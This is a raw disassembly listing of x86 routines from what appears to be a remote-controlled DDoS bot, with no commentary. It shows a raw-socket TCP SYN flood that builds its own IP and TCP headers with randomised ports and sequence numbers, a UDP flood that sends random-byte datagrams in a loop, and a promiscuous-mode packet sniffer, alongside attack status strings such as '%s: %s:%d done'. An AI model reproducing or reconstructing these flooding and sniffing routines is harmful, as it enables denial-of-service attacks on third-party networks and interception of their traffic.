; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428240 proc near ; CODE XREF: sub_4010FFj
jmp sub_4014CE
sub_428240 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_428260 proc near ; CODE XREF: sub_401EB0j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428260
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+50h]
mov edx, [esi+58h]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_40142E
mov edx, [esi+54h]
mov eax, [esi+50h]
mov ecx, [esi+58h]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014DD
push eax
call sub_401DCF
sub_428260 endp
; ---------------------------------------------------------------------------
cdq
and edx, 3FFh
add esp, 10h
add eax, edx
mov ecx, edi
sar eax, 0Ah
cdq
idiv dword ptr [esi+50h]
mov edx, [esi+58h]
push eax
push edx
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+20h]
push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
push eax
call sub_40102D
add esp, 18h
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 14h
mov dword ptr [esp+30h], 0FFFFFFFFh
lea ecx, [esp+10h]
call sub_401226
mov ecx, [esp+28h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4283D0 proc near ; CODE XREF: sub_401BC7j
var_95 = byte ptr -95h
var_8C = dword ptr -8Ch
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
sub esp, 98h
push ebx
push ebp
push esi
push edi
mov ecx, 0Eh
xor eax, eax
lea edi, [esp+0A8h+var_3B]
mov [esp+0A8h+var_3C], 0
rep stosd
stosw
xor esi, esi
push 0FFh
push esi
mov [esp+0B0h+var_8C], esi
stosb
mov [esp+0B0h+var_95], 0
call sub_4021C6
sub_4283D0 endp
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+24h], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+2Dh], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+36h], al
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 20h
cmp [esp+0B4h], si
mov [esp+17h], al
jnz short loc_428461
push 2710h
push 3E8h
mov byte ptr [esp+1Bh], 1
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_428461: ; CODE XREF: ___:00428441j
push 1
push esi
push esi
push 0FFh
push 3
push 2
mov dword ptr [esp+64h], 1
nop
call near ptr 71AB8769h
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [esp+18h], edi
jnz short loc_428494
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_428494: ; CODE XREF: ___:00428485j
lea eax, [esp+4Ch]
push 4
push eax
push 2
push esi
push edi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_4284B7
loc_4284AA: ; CODE XREF: ___:0042865Fj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4284B7: ; CODE XREF: ___:004284A8j
mov ecx, [esp+0B4h]
mov ebp, dword_511C38
push ecx
mov word ptr [esp+60h], 2
call ebp ; ntohs
mov ebx, [esp+0ACh]
push 28h
mov [esp+62h], ax
mov [esp+64h], ebx
mov byte ptr [esp+24h], 45h
call ebp ; ntohs
push 4000h
mov [esp+26h], ax
mov word ptr [esp+28h], 1
mov [esp+2Ah], si
mov byte ptr [esp+2Ch], 80h
mov byte ptr [esp+2Dh], 6
mov [esp+2Eh], si
mov [esp+34h], ebx
mov byte ptr [esp+44h], 50h
mov byte ptr [esp+45h], 2
call ebp ; ntohs
mov [esp+42h], ax
mov [esp+46h], si
mov [esp+3Ch], esi
nop
call near ptr 27E0C08h
mov [esp+48h], eax
mov al, byte_4D84C9
test al, al
jz loc_42870B
mov ebx, dword_511AC8
mov byte ptr [esp+58h], 0
mov byte ptr [esp+59h], 6
jmp short loc_428555
; ---------------------------------------------------------------------------
xor esi, esi
loc_428555: ; CODE XREF: ___:00428551j
mov edi, [esp+1Ch]
mov edx, [esp+0B4h]
inc edi
push edx
mov [esp+20h], edi
mov [esp+48h], si
call ebp ; ntohs
push 14h
mov [esp+3Ah], ax
call ebp ; ntohs
mov [esp+5Ah], ax
mov eax, [esp+14h]
push eax
nop
call near ptr 71AB2BC0h
mov esi, eax
mov [esp+2Ch], esi
call ebx ; rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ebp ; ntohs
mov [esp+34h], ax
call ebx ; rand
mov edi, eax
shl edi, 10h
call ebx ; rand
or edi, eax
push edi
call ebp ; ntohs
mov edx, [esp+0ACh]
and eax, 0FFFFh
mov [esp+38h], eax
mov eax, [esp+58h]
mov [esp+6Ch], esi
mov ecx, 5
lea esi, [esp+34h]
lea edi, [esp+78h]
mov [esp+70h], edx
mov [esp+74h], eax
rep movsd
lea ecx, [esp+6Ch]
push 20h
push ecx
call sub_401A37
mov ecx, 5
lea esi, [esp+28h]
lea edi, [esp+74h]
lea edx, [esp+74h]
rep movsd
mov ecx, 5
lea esi, [esp+3Ch]
lea edi, [esp+88h]
mov [esp+4Ch], ax
push 28h
push edx
rep movsd
mov dword ptr [esp+0A4h], 0
call sub_401A37
mov edx, [esp+28h]
add esp, 10h
mov [esp+2Ah], ax
mov ecx, 5
lea esi, [esp+20h]
lea edi, [esp+6Ch]
lea eax, [esp+5Ch]
push 10h
rep movsd
push eax
push 0
lea ecx, [esp+78h]
push 28h
push ecx
push edx
nop
call near ptr 71AB2C69h
cmp eax, 0FFFFFFFFh
jz loc_4284AA
call near ptr 27E0C08h
nop
mov edx, [esp+48h]
mov ecx, eax
sub ecx, edx
mov eax, 10624DD3h
mul ecx
mov eax, [esp+0B8h]
shr edx, 6
cmp edx, eax
ja short loc_428707
mov al, [esp+13h]
test al, al
jz short loc_4286A9
push 2710h
push 3E8h
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_4286A9: ; CODE XREF: ___:0042868Ej
push 0FFh
push 0
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+24h], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+2Dh], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+36h], al
call sub_4021C6
; ---------------------------------------------------------------------------
db 8Bh, 94h, 24h
dd 0DCh, 8820C483h, 52172444h, 407907E8h, 0C9A09002h, 84004D84h
dd 4C850FC0h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_428707: ; CODE XREF: ___:00428686j
mov edi, [esp+18h]
loc_42870B: ; CODE XREF: ___:0042853Bj
push edi
nop
call near ptr 71AB9639h
mov eax, [esp+1Ch]
pop edi
pop esi
pop ebp
lea eax, [eax+eax*4+5]
pop ebx
shl eax, 2
add esp, 98h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_428810 proc near ; CODE XREF: sub_401DCFj
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
mov eax, [esp+arg_0]
push esi
push eax
call sub_40188E
mov esi, eax
nop
call near ptr 77C371D3h
and eax, 800001FFh
jns short loc_428831
dec eax
or eax, 0FFFFFE00h
inc eax
loc_428831: ; CODE XREF: sub_428810+18j
mov ecx, [esp+4+arg_10]
mov edx, [esp+4+arg_C]
push ecx
mov ecx, [esp+8+arg_8]
lea eax, [eax+esi+100h]
push edx
push ecx
push eax
push esi
call sub_401BC7
sub_428810 endp
; ---------------------------------------------------------------------------
add esp, 18h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428880 proc near ; CODE XREF: sub_40178Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428880
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aUdp ; "udp"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F11C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_428880 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401159
test [esp+4+arg_0], 1
jz short loc_428908
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_428908: ; CODE XREF: sub_4288F0+Dj
mov eax, esi
pop esi
retn 4
sub_4288F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428920 proc near ; CODE XREF: sub_401159j
jmp sub_4014CE
sub_428920 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428940 proc near ; CODE XREF: sub_401A14j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428940
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
push eax
mov eax, [esi+58h]
lea edi, [esi+3Bh]
push ecx
push edx
push eax
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 2Ch
lea ecx, [esp+34h+var_24]
call sub_40142E
mov eax, [esi+58h]
mov ecx, [esi+54h]
mov edx, [esi+60h]
push eax
mov eax, [esi+5Ch]
push ecx
push edx
push eax
mov ecx, edi
mov [esp+44h+var_4], 0
call sub_4014DD
push eax
call sub_40173A
add esp, 14h
test eax, eax
jz short loc_428A0E
mov ecx, [esi+5Ch]
mov edx, [esi+58h]
push ecx
push edx
mov ecx, edi
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+44h+var_24]
push offset aSSDDone ; "%s: %s:%d done"
push eax
call sub_40102D
add esp, 18h
loc_428A0E: ; CODE XREF: sub_428940+A2j
lea ecx, [esp+34h+var_24]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_428940 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428AB0 proc near ; CODE XREF: sub_40173Aj
var_36 = word ptr -36h
var_18 = byte ptr -18h
var_16 = word ptr -16h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_FFBC = dword ptr 0FFC0h
arg_FFCC = dword ptr 0FFD0h
arg_FFDC = dword ptr 0FFE0h
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFF0h
call sub_437B30
push esi
push 11h
push 2
push 2
nop
call near ptr 71AB3B91h
mov esi, [esp+10h+arg_FFE4]
mov [esp+10h+arg_0], eax
xor eax, eax
push esi
mov [esp+14h+var_C], eax
mov word ptr [esp+14h+var_C], 2
mov [esp+14h+var_8], eax
mov [esp+14h+var_4], eax
mov [esp+14h], eax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_428B11
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_428B0A
pop esi
add esp, 0FFF0h
retn
; ---------------------------------------------------------------------------
loc_428B0A: ; CODE XREF: sub_428AB0+50j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_428B11: ; CODE XREF: sub_428AB0+45j
mov esi, [esp+18h+arg_FFEC]
push ebx
mov ebx, dword_511AC8
push ebp
test esi, esi
mov [esp+20h+var_10], eax
push edi
jnz short loc_428B4D
call ebx ; rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+28h+var_16], ax
mov [esp+28h+arg_FFE8], 1
jmp short loc_428B7E
; ---------------------------------------------------------------------------
loc_428B4D: ; CODE XREF: sub_428AB0+77j
push esi
call near ptr 71AB2B66h
nop
cmp esi, 1
mov [esp+28h+var_16], ax
jge short loc_428B6B
mov [esp+28h+arg_FFE8], 1
jmp short loc_428B7E
; ---------------------------------------------------------------------------
loc_428B6B: ; CODE XREF: sub_428AB0+ACj
cmp esi, 0FFFFh
jle short loc_428B7E
mov [esp+28h+arg_FFE8], 0FFFFh
loc_428B7E: ; CODE XREF: sub_428AB0+9Bj
; sub_428AB0+B9j ...
mov eax, [esp+28h+arg_FFE4]
test eax, eax
jnz short loc_428B94
mov [esp+28h+arg_FFE4], 1
loc_428B94: ; CODE XREF: sub_428AB0+D7j
mov ecx, [esp+28h+arg_FFDC]
mov eax, 66666667h
imul ecx
mov edi, [esp+28h+arg_FFE0]
xor esi, esi
sar edx, 2
mov eax, edx
shr eax, 1Fh
add edx, eax
test edi, edi
mov ebp, edx
jle short loc_428BCE
loc_428BBB: ; CODE XREF: sub_428AB0+11Cj
call ebx ; rand
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, edi
mov byte ptr [esp+esi+28h+var_8+3], dl
jl short loc_428BBB
loc_428BCE: ; CODE XREF: sub_428AB0+109j
mov edx, ebp
dec ebp
test edx, edx
mov [esp+28h+arg_FFDC], ebp
jle loc_428C60
mov ebp, dword_511C68
loc_428BE6: ; CODE XREF: sub_428AB0+1AEj
mov al, byte_4D84C9
test al, al
jz short loc_428C60
mov esi, 0Bh
loc_428BF4: ; CODE XREF: sub_428AB0+177j
lea eax, [esp+28h+var_18]
push 10h
push eax
push 0
call ebx ; rand
cdq
mov ecx, 0Ah
idiv ecx
mov eax, edi
lea ecx, [esp+34h+var_4]
sub eax, edx
mov edx, [esp+34h+var_8]
push eax
push ecx
push edx
call ebp ; sendto
mov eax, [esp+40h+arg_FFCC]
push eax
call near ptr 2830000h
nop
dec esi
jnz short loc_428BF4
mov eax, [esp+44h+arg_FFCC]
test eax, eax
jnz short loc_428C4B
call ebx ; rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+48h+var_36], ax
loc_428C4B: ; CODE XREF: sub_428AB0+182j
mov eax, [esp+48h+arg_FFBC]
mov edx, eax
dec eax
test edx, edx
mov [esp+48h+arg_FFBC], eax
jg short loc_428BE6
loc_428C60: ; CODE XREF: sub_428AB0+12Aj
; sub_428AB0+13Dj
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0FFF0h
retn
sub_428AB0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428CE0 proc near ; CODE XREF: sub_40209Aj
var_10 = word ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
mov ebx, [esp+14h+arg_4]
push esi
push edi
mov edi, [esp+1Ch+arg_0]
lea eax, [ebx-14h]
push eax
lea ecx, [edi+28h]
push ecx
call sub_401A37
mov edx, [edi+10h]
add esp, 8
mov [edi+0Ah], ax
mov [esp+1Ch+var_10], 2
push 1
push 0
push 0
push 0FFh
push 3
push 2
mov [esp+34h+var_C], edx
mov [esp+34h+arg_4], 1
nop
call near ptr 71AB8769h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_428D3D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_428D3D: ; CODE XREF: sub_428CE0+52j
lea eax, [esp+1Ch+arg_4]
push 4
push eax
push 2
push 0
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_428D5D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_428D5D: ; CODE XREF: sub_428CE0+72j
lea ecx, [esp+1Ch+var_10]
push 10h
push ecx
push 0
push ebx
push edi
push esi
nop
call near ptr 71AB2C69h
push esi
mov edi, eax
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 10h
retn
sub_428CE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428DC0 proc near ; CODE XREF: sub_401DB1j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_28 = dword ptr -28h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_10 = word ptr 14h
arg_12 = word ptr 16h
arg_14 = dword ptr 18h
arg_1C = byte ptr 20h
arg_24 = byte ptr 28h
arg_25 = byte ptr 29h
arg_B8 = byte ptr 0BCh
arg_C1 = byte ptr 0C5h
arg_C4 = dword ptr 0C8h
arg_C8 = dword ptr 0CCh
arg_100C8 = dword ptr 100CCh
arg_100D8 = dword ptr 100DCh
arg_10128 = dword ptr 1012Ch
arg_1012C = dword ptr 10130h
arg_10130 = dword ptr 10134h
mov eax, 10128h
call sub_437B30
push ebx
push ebp
push esi
push edi
mov ecx, 3Fh
xor eax, eax
lea edi, [esp+10h+arg_25]
mov [esp+10h+arg_24], 0
rep stosd
stosw
mov eax, [esp+10h+arg_10128]
push eax
call sub_40188E
mov ecx, [esp+14h+arg_1012C]
mov [esp+14h+arg_4], eax
push ecx
call sub_40188E
mov edi, [esp+18h+arg_10130]
add esp, 8
xor ebx, ebx
mov [esp+10h+arg_0], eax
mov [esp+10h+arg_10], 2
mov [esp+10h+arg_12], bx
mov [esp+10h+arg_14], ebx
mov esi, offset byte_448F40
mov eax, edi
loc_428E27: ; CODE XREF: sub_428DC0+85j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428E4B
test cl, cl
jz short loc_428E47
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428E4B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428E27
loc_428E47: ; CODE XREF: sub_428DC0+71j
xor eax, eax
jmp short loc_428E50
; ---------------------------------------------------------------------------
loc_428E4B: ; CODE XREF: sub_428DC0+6Dj
; sub_428DC0+7Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428E50: ; CODE XREF: sub_428DC0+89j
cmp eax, ebx
jnz short loc_428EA3
mov ebp, dword_4D80D7
cmp ebp, ebx
mov [esp+10h], ebp
jz short loc_428E67
cmp ebp, 0FFFFFFFFh
jnz short loc_428EAE
loc_428E67: ; CODE XREF: sub_428DC0+A0j
lea eax, [esp+10h+arg_24]
push 0FFh
push eax
call near ptr 71AB50C8h
nop
lea ecx, [esp+18h+arg_1C]
push ecx
nop
call near ptr 71AB4FD4h
movsx ecx, word ptr [eax+0Ah]
mov edx, [eax+0Ch]
mov eax, ecx
lea edi, [esp+1Ch+var_C]
mov esi, [edx]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ebp, [esp+1Ch+var_C]
jmp short loc_428EAE
; ---------------------------------------------------------------------------
loc_428EA3: ; CODE XREF: sub_428DC0+92j
push edi
call sub_40188E
add esp, 4
mov ebp, eax
loc_428EAE: ; CODE XREF: sub_428DC0+A5j
; sub_428DC0+E1j
cmp ebp, ebx
jz short loc_428EB7
cmp ebp, 0FFFFFFFFh
jnz short loc_428EBD
loc_428EB7: ; CODE XREF: sub_428DC0+F0j
mov ebp, dword_4D80D7
loc_428EBD: ; CODE XREF: sub_428DC0+F5j
mov edi, 1
mov [esp+10h+arg_14], ebp
push edi
push ebx
push ebx
push ebx
push 3
push 2
mov [esp+28h+arg_8], edi
call near ptr 71AB8769h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_428FFD
lea ecx, [esp+28h+var_C]
push 4
push ecx
push 2
push ebx
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jz loc_428FFD
lea edx, [esp+3Ch+var_18]
push 10h
push edx
push esi
nop
call near ptr 71AB3E00h
cmp eax, 0FFFFFFFFh
jz loc_428FFD
push ebx
lea eax, [esp+4Ch+var_14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp+5Ch+var_28]
push 4
push ecx
push 98000001h
push esi
mov [esp+6Ch+var_28], edi
nop
call near ptr 71AB4489h
cmp eax, 0FFFFFFFFh
jz loc_428FFD
mov edx, [esp+6Ch+arg_100D8]
cmp byte ptr [edx], 0
jz loc_428FE3
mov ebx, dword_511CA4
loc_428F53: ; CODE XREF: sub_428DC0+21Dj
mov ecx, 3FFFh
xor eax, eax
lea edi, [esp+6Ch+arg_C8]
push 0
rep stosd
stosw
stosb
lea eax, [esp+70h+arg_C8]
push 0FFFFh
push eax
push esi
call ebx ; recv
cmp [esp+7Ch+arg_C1], 2Fh
jnz short loc_428FD3
mov ecx, [esp+7Ch+arg_C4]
mov edx, [esp+7Ch+var_64]
cmp ecx, edx
jnz short loc_428FAE
mov ecx, [esp+7Ch+var_68]
lea edx, [esp+7Ch+arg_B8]
push eax
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], ecx
push edx
jmp short loc_428FCB
; ---------------------------------------------------------------------------
loc_428FAE: ; CODE XREF: sub_428DC0+1CFj
cmp ecx, [esp+7Ch+var_68]
jnz short loc_428FD3
push eax
lea eax, [esp+80h+arg_B8]
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], edx
push eax
loc_428FCB: ; CODE XREF: sub_428DC0+1ECj
call sub_40209A
add esp, 8
loc_428FD3: ; CODE XREF: sub_428DC0+1C0j
; sub_428DC0+1F2j
mov ecx, [esp+7Ch+arg_100C8]
cmp byte ptr [ecx], 0
jnz loc_428F53
loc_428FE3: ; CODE XREF: sub_428DC0+187j
mov edx, dword_511A90
add edx, 20h
push edx
nop
call near ptr 77C3EEF6h
add esp, 4
push esi
call near ptr 71AB9639h
nop
loc_428FFD: ; CODE XREF: sub_428DC0+11Dj
; sub_428DC0+137j ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 10128h
retn
sub_428DC0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4290B0 proc near ; CODE XREF: sub_401898j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4290B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset off_446F04
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F12C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4290B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429120 proc near ; CODE XREF: sub_401FA0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429120
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+82h]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F13C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_429120 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4291E0 proc near ; CODE XREF: sub_4017A8j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4291E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F13C
lea ecx, [esi+82h]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4291E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4292B0: ; CODE XREF: ___:00401A23j
; ___:loc_402086j
push esi
mov esi, ecx
call sub_4017A8
test byte ptr [esp+8], 1
jz short loc_4292C8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4292C8: ; CODE XREF: ___:004292BDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4292E0 proc near ; CODE XREF: ___:00401096j sub_401C3Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4015FF
test [esp+4+arg_0], 1
jz short loc_4292F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4292F8: ; CODE XREF: sub_4292E0+Dj
mov eax, esi
pop esi
retn 4
sub_4292E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_429310 proc near ; CODE XREF: sub_4015FFj
jmp sub_4017A8
sub_429310 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429330 proc near ; CODE XREF: sub_4015B9j
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi+82h]
lea ebx, [esi+58h]
mov ecx, edi
lea ebp, [esi+6Dh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
mov edx, [esi+99h]
add esp, 24h
add edx, 11Ch
mov ecx, edi
push edx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
call sub_401DB1
add esp, 10h
mov ecx, edi
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
